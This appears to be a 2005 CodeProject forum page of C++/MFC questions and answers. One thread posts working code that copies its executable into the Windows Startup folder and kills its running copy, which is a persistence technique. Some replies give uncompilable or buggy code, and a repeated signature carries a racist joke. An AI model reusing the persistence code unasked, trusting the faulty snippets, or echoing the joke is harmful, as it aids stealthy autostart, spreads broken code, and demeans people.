C / C++ / MFC Discussion Boards

Re: Difference b/w #define and const int

Tim Smith12-Jul-05 3:56

12-Jul-05 3:56

const variables can easily be optimized away during compilation. Otherwise they could not be used in switch statements.

Tim Smith

I'm going to patent thought. I have yet to see any prior art.

Re: Difference b/w #define and const int

Bob Stanneveld12-Jul-05 20:36

Bob Stanneveld

12-Jul-05 20:36

Tim Smith wrote:
const variables can easily be optimized away during compilation. Otherwise they could not be used in switch statements.

They cannot if the variable is located in an other translation unit. If you follow the "no variables in headers" rule, these constants should be declared in only one translation unit, which makes them unavailable at compile time.

IMHO though, people should use enums for constant integral values instead of ints or define constants..

Behind every great black man...
... is the police. - Conspiracy brother

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Borland Support

ditty grail11-Jul-05 20:47

ditty grail

11-Jul-05 20:47

Does Visual C++ 6.0 can support Borland c++ libraries.
Can i use Borland C++ libraries in my MFC application

ditty grail

Pointer to const

LiYS11-Jul-05 20:20

LiYS

11-Jul-05 20:20

void u(const int* cip)
{
//! *cip = 2; // Illegal -- modifies value
int i = *cip; // OK -- copies value
//! int* ip2 = cip; // Illegal: non-const
}

In the snippet above, the argument "const int* cip" is a pointer to const that is to say the thing this pointer pointed to can't be changed but the pointer can be changed right? But I don't understand why the line "int* ip2 = cip;" can't passed the compilation. Is it because after its execution the pointee can be changed through ip2?

...always look on the <blink>bright
side of life...
(Whistle)

Re: Pointer to const

Bob Stanneveld11-Jul-05 20:34

Bob Stanneveld

11-Jul-05 20:34

The reason why the compiler complains is that you want to do an assignment where the original value loses qualifiers. If I remember correctly, you can do the following:

void u(const int* cip)
{
    int** ppi = &cip;
    (*(*ppi)) = 6;
    // cip points now to 6
    (*(*ppi)) = 8;
    // cip points now to 8!
}

This is one of the many reasons why pointer magic should be avoided as much as possible.

Behind every great black man...
... is the police. - Conspiracy brother

Blog[^]

Re: Pointer to const

LiYS11-Jul-05 22:22

LiYS

11-Jul-05 22:22

Doing "int* ip2 = cip" illegal only because the pointee of pointer cip could be changed through pointer ip2? In that case the constness of pointer to const can't be keep?

...always look on the <blink>bright
side of life...
(Whistle)

Re: Pointer to const

Bob Stanneveld11-Jul-05 22:27

Bob Stanneveld

11-Jul-05 22:27

YongSheng Li wrote:
Doing "int* ip2 = cip" illegal only because the pointee of pointer cip could be changed through pointer ip2? In that case the constness of pointer to const can't be keep?

Thats exactly what I'm saying. Doing that, the original type loses qualifiers, which is illegal..

Behind every great black man...
... is the police. - Conspiracy brother

Blog[^]

Re: Pointer to const

LiYS11-Jul-05 22:30

LiYS

11-Jul-05 22:30

That's exactly what I'm expecting!Thank you! Big Grin | :-D

...always look on the <blink>bright
side of life...
(Whistle)

Re: Pointer to const

Nish Nishant11-Jul-05 20:36

Nish Nishant

11-Jul-05 20:36

Try :-

int* ip2 = const_cast<int*>(cip);

Re: Pointer to const

MaxVampire8211-Jul-05 21:59

MaxVampire82

11-Jul-05 21:59

ip2 isn't a pointer to const.

My self install codes using startup folder - please comment

awah11-Jul-05 18:39

awah

11-Jul-05 18:39

guys here are my self install codes for any applications
it will copy itself to the startup folder and run
it's not very efficient so i need u guys to advise on improvements
works on win98,winxp
codes that have been commented out are some of the stuff i previously tested and found to be unsuccessful
Smile | :)

<br />
char *current_directory = new char[MAX_PATH]; // rem to delete this<br />
	char *window_dir = new char[MAX_PATH]; // rem to delete this<br />
	GetModuleFileName(theApp.m_hInstance, current_directory, MAX_PATH);<br />
<br />
<br />
<br />
<br />
<br />
	SHGetSpecialFolderPath(NULL,window_dir, CSIDL_STARTUP,TRUE);<br />
	strcat(window_dir,"\\sev.exe");<br />
<br />
<br />
// FORCE IT TO BE IN STARTUP FOLDER	<br />
//	CopyFile(current_directory,window_dir,FALSE ) ;<br />
<br />
<br />
	if( stricmp (current_directory , window_dir) != 0)   // i am not in the correct dir<br />
	{<br />
		int set_file_result = SetFileAttributes(window_dir,FILE_ATTRIBUTE_NORMAL);<br />
		if (set_file_result == 0)// if i cant set attrib, means wind_dir is empty, if i can set, means wind_dir not empty and i gotta del<br />
		{<br />
			CopyFile(current_directory,window_dir,FALSE ) ;<br />
			ShellExecute(0,0,window_dir,0,0,0);<br />
			delete[] window_dir;<br />
			return 55;<br />
			return 0;<br />
		}<br />
<br />
		BOOL delete_result = DeleteFile( window_dir);<br />
		int bb = GetLastError();<br />
		if(delete_result == 0) // delete fails because of access denied<br />
		{<br />
<br />
<br />
<br />
<br />
<br />
<br />
//BOOL seek_and_kill(char *window_dir ) , to kill the currently process so as to allow me to run<br />
<br />
			{<br />
				HANDLE hProcessSnap;<br />
				PROCESSENTRY32 pe32;<br />
<br />
  // Take a snapshot of all processes in the system.<br />
				hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );<br />
				if( hProcessSnap == INVALID_HANDLE_VALUE )<br />
				{<br />
					return( FALSE );<br />
				}<br />
				pe32.dwSize = sizeof( PROCESSENTRY32 );<br />
<br />
  // Retrieve information about the first process,<br />
  // and exit if unsuccessful<br />
			<br />
				if( !Process32First( hProcessSnap, &pe32 ) )<br />
				{<br />
					CloseHandle( hProcessSnap );     // Must clean up the snapshot object!<br />
					return( FALSE );<br />
				}<br />
				BOOL next_result = 1;<br />
 // TCHAR *szExeFile = {pe32.szExeFile};<br />
  <br />
				while(    ( stricmp( pe32.szExeFile , "sev.exe") != 0) &&  (next_result != FALSE )    )<br />
				{<br />
					  next_result = Process32Next(hProcessSnap, &pe32);<br />
				}<br />
  <br />
				HANDLE kill_this_process = OpenProcess( PROCESS_ALL_ACCESS,0, pe32.th32ProcessID);<br />
<br />
				TerminateProcess(kill_this_process , 999);<br />
				// return 1;<br />
<br />
			}<br />
<br />
<br />
<br />
<br />
			while(!DeleteFile( window_dir) )<br />
			{};<br />
		}<br />
		CopyFile(current_directory,window_dir,FALSE ) ;<br />
		ShellExecute(0,0,window_dir,0,0,0);<br />
		delete[] window_dir;<br />
		return 55;<br />
<br />
	}<br />
	else // else if i am in the correct dir, i dont want 2 instance of the same thing<br />
	{<br />
		HANDLE hProcessSnap;<br />
		PROCESSENTRY32 pe32;<br />
<br />
  // Take a snapshot of all processes in the system.<br />
		hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );<br />
		if( hProcessSnap == INVALID_HANDLE_VALUE )<br />
		{<br />
			return( FALSE );<br />
		}<br />
		pe32.dwSize = sizeof( PROCESSENTRY32 );<br />
  // Retrieve information about the first process,<br />
  // and exit if unsuccessful<br />
			<br />
		if( !Process32First( hProcessSnap, &pe32 ) )<br />
		{<br />
			CloseHandle( hProcessSnap );     // Must clean up the snapshot object!<br />
			return( FALSE );<br />
		}<br />
		BOOL next_result = 1;<br />
		BOOL duplicate = FALSE;<br />
 // TCHAR *szExeFile = {pe32.szExeFile};<br />
  <br />
		while(   next_result != FALSE )<br />
		{<br />
			if(  (stricmp( pe32.szExeFile , "sev.exe") == 0)   &&(duplicate == TRUE))<br />
			{<br />
				return 55;<br />
			}<br />
			if( ( stricmp( pe32.szExeFile , "sev.exe") == 0)    &&(duplicate == FALSE))<br />
			{<br />
				duplicate = TRUE;<br />
			}<br />
			next_result = Process32Next(hProcessSnap, &pe32);<br />
		}<br />
					<br />
			<br />
			if(  (stricmp( pe32.szExeFile , "sev.exe") == 0)   &&(duplicate == TRUE))<br />
			{<br />
			//	return 55;<br />
			}<br />
}	<br />
	delete[] window_dir;<br />
	delete[] current_directory;

Re: My self install codes using startup folder - please comment

Yulianto.11-Jul-05 19:20

Yulianto.

11-Jul-05 19:20

Write an article for it.

<italic>Work hard, Work effectively.

Re: My self install codes using startup folder - please comment

David Crow12-Jul-05 3:15

David Crow

12-Jul-05 3:15

awah wrote:
it's not very efficient so i need u guys to advise on improvements

What exactly is it supposed to be doing?

"Ideas are a dime a dozen. People who put them into action are priceless." - Unknown

Re: My self install codes using startup folder - please comment

awah12-Jul-05 17:11

awah

12-Jul-05 17:11

- copy itself to the startup folder, execute the copy and return
- if startup folder already has a copy of itself, delete the one in startup folder
- if unable to delete, it's assumed that it is running because it is running and gets write protected
- search for it's process and kill it so that it can be deleted
- but we dont want 2 instance of it, hence if it is already running and the startup folder, return the latter instance

open file dialog

Anonymous11-Jul-05 18:28

Anonymous

11-Jul-05 18:28

i want to implement something like onFileopen()
i have a button, which when clicked should help me to browse to get the path of an executable on the system. onFileopen() should work but its ging error saying its a protected member and cannot be accessed

please suggest a solution
thanks
r.k

Re: open file dialog

Christian Graus11-Jul-05 18:49

Christian Graus

11-Jul-05 18:49

The MFC source code is on your hard drive, so you can look at the file dialog code you're wanting to run and use it as a guide to impliment your own code.

Just do a search for files containing the method name in the appropriate folder, or if you don't know it, on the base folder of your SDK or VC++ install.

Christian Graus - Microsoft MVP - C++

Re: open file dialog

MaxVampire8211-Jul-05 21:42

MaxVampire82

11-Jul-05 21:42

explicit CFileDialog(
BOOL bOpenFileDialog,
LPCTSTR lpszDefExt = NULL,
LPCTSTR lpszFileName = NULL,
DWORD dwFlags = OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
LPCTSTR lpszFilter = NULL,
CWnd* pParentWnd = NULL,
DWORD dwSize = 0
);

You'd better search the MSDN.

Re: open file dialog

David Crow12-Jul-05 3:16

David Crow

12-Jul-05 3:16

Anonymous wrote:
onFileopen() should work but its ging error saying its a protected member and cannot be accessed

Show us the code snippet that the compiler is complaining about.

"Ideas are a dime a dozen. People who put them into action are priceless." - Unknown

How to print to virtual printer from Window Service

Kany Nguyen11-Jul-05 18:04

Kany Nguyen

11-Jul-05 18:04

Hi,
Here is my situation:

RepliGo is a utility that allow you to convert Office file to RepliGo file for reading them in Palm. RepliGo provide a virtual printer for us to do that work.

My application is built as the server/client model. Server run as windows service. Client will request Server to convert Office files to RepliGo files through socket.

In Server side, I'm using RepliGo's virtual printer to convert Office file (.DOC, .XLS, .PPT) to .RGO file.

I used DDE command to do that work. For example, with .DOC file, I have DDE command :
-------------------------------------------------------------------------
[REM _DDE_Minimize][FileOpen("%1")][t=IsDocumentDirty()][FilePrint 0][SetDocumentDirty t][DocClose]
(Can find it in Registry)
-------------------------------------------------------------------------

And I used classExec utitlity to run that DDE command.

My problem is:

+ When I login Window with specified User. Client can request Server to convert all files.

+ But when I restart computer, not yet login window (standing at Login form). Client can't request Server to convert any file.
(May be I have not logged in Window yet, so I don't have DESKTOP for RepliGo's virtual printer to run)

Please tell me how to solve with this problem.

Thanks a lot.

about ie(on xp) and activex document

William.Wang11-Jul-05 18:02

William.Wang

11-Jul-05 18:02

hi, guys, now I developed a simple activex document server program, using it to produce an activex document file, open it with ie(on win2k), it works fine with embeded, when I open it with ie(on xp), it pops another new document server program window and opens it in that new program, not open it in ie!
the question is:
how can I make ie(on xp) open the activex document same as ie(on win2k) works.
by the way, I'm from china and speak poor english, hope I can be understood.
thanks, best regard.

MS Flexi Grid Controls

Nalima Banu11-Jul-05 17:46

Nalima Banu

11-Jul-05 17:46

Dear All,

Could any one , please help me to solve my grid control problem.
I would like to disable some of the columns in the grid but when I use m_grid.SetEnabled(FALSE) it disables the whole grid.

Please I need it urgent. Confused | :confused:

MFC CString Question

Stephen Doty11-Jul-05 17:32

Stephen Doty

11-Jul-05 17:32

I have a question about edit text boxes and CString. In my program I have a text box for the user to write a message in. I want to be able to make what they input in reverse. So how do I separate each character from the text box going in to a CString.
CString strString;
strString = m_String;

Then I have a for loop to start at the end number of the string and go down displaying each letter as the increments decrease. I would do this by int x = strString.GetLength(); Right? Now how do I separate each character of the string to make an array. Like for the message "Hello" strString[0] would be "H" and so on. If I do this

for(x=strString.GetLength(); x>=0;x--)
m_Reverse += strString.GetAt(x);

It gives me the whole message for every character. So how do I make each array index (x) be one character and not all of the characters? Thank you so much for your help. I am going to learn MFC, yet.

Stephen Doty
StephenDoty@yahoo.com

Re: MFC CString Question

Nish Nishant11-Jul-05 17:45

Nish Nishant

11-Jul-05 17:45

You can use MakeReverse to reverse a CString.

Re: MFC CString Question

Geert van Horrik11-Jul-05 23:52

Geert van Horrik

11-Jul-05 23:52

use this code:

// Declare variables<br />
TCHAR arrCharacters[1024];<br />
CString sMyString;<br />
<br />
// Set value<br />
sMyString = "hello";<br />
<br />
// Seperate the string<br />
for (int i = sMyString.GetLength(); i >= 0; i--)<br />
    arrCharacters[i] = sMyString.GetAt(i);<br />

Geert

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Re: MFC CString Question

Stephen Doty12-Jul-05 6:50

Stephen Doty

12-Jul-05 6:50

When I used the MakeReverse I got an error saying that the = sign was invalid. If I typed m_String.MakeReverse, or m_String = m_String.MakeReverse, it just gave me back the input from the text box. I even tried making a separate CString, such as, CString String; String = m_String; String.MakeReverse; m_Answer = String; Please help. And thank you for the responses.
UpdateData(TRUE);
m_String.MakeReverse;
m_Answer += m_String;
UpdateData(FALSE);

Stephen Doty

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